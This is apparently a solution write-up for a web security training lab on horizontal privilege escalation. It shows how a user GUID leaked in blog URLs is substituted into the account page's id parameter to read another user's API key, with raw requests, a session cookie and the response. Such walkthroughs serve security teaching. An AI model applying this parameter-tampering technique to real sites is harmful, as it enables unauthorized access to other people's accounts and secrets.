

Lab: User ID controlled by request parameter, with unpredictable user IDs

This lab has a horizontal privilege escalation vulnerability on the user account page, but identifies users with GUIDs.

To solve the lab, find the GUID for **carlos**, then submit his API key as the solution.

You can log in to your own account using the following credentials: **wiener:peter**

Unpredictable GUID

```
</p>
<a href="/my-account?id=e0da8f87-bf74-4aa0-b97f-68abc90ebf88">
  My account
</a>
```

Administrator GUID in blog posting

```
92 https://0a5e00e0033de8e7c089... GET /academyLabHeader
91 https://0a5e00e0033de8e7c089... GET /blogs?userId=57357625-efde-4540-b...
90 https://0a5e00e0033de8e7c089... GET /academyLabHeader
89 https://0a5e00e0033de8e7c089... GET /academyLabHeader
88 https://0a5e00e0033de8e7c089... GET /blogs?userId=57357625-efde-4540-b...
87 https://0a5e00e0033de8e7c089... GET /academyLabHeader
86 https://0a5e00e0033de8e7c089... GET /academyLabHeader
85 https://0a5e00e0033de8e7c089... GET /blogs?userId=57357625-efde-4540-b...
```

Send Login Request to Repeater

Request

	Pretty	Raw	Hex
1	GET	/my-account?id=57357625-efde-4540-b74a-10a725a86a90	HTTP/1.1
2	Host:	0a5e00e0033de8e7c0890ad900e3003e.web-security-academy.net	
3	Cookie:	session=ewTEfiskuKaXKDikbHmFj2PkejQzMaGf	
4	Sec-Ch-Ua:	"Not A;Brand";v="99", "Chromium";v="104"	
5	Sec-Ch-Ua-Mobile:	?0	
6	Sec-Ch-Ua-Platform:	"Windows"	
7	Upgrade-Insecure-Requests:	1	
8	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML	

Change ID to Admin ID

Request

	Pretty	Raw	Hex
1	GET	/my-account?id=57357625-efde-4540-b74a-10a725a86a90	HTTP/1.1
2	Host:	0a5e00e0033de8e7c0890ad900e3003e.web-security-academy.net	
3	Cookie:	session=ewTEfiskuKaXKDikbHmFj2PkejQzMaGf	
4	Sec-Ch-Ua:	"Not A;Brand";v="99", "Chromium";v="104"	
5	Sec-Ch-Ua-Mobile:	?0	
6	Sec-Ch-Ua-Platform:	"Windows"	

Send Request

Response			
	Pretty	Raw	Hex
1	HTTP/1.1 200 OK		
2	Content-Type: text/html; charset=utf-8		
3	Cache-Control: no-cache		
4	Connection: close		
5	Content-Length: 3748		
6			
7	<!DOCTYPE html>		

200 OK

```

  Your username is: carlos
</p>
<div>
  Your API Key is: 7eYaS8CI1kaXu1PZB32m1N0tb4SmKdYw
</div>

```

Submit API Key

Congratulations, you solved the lab!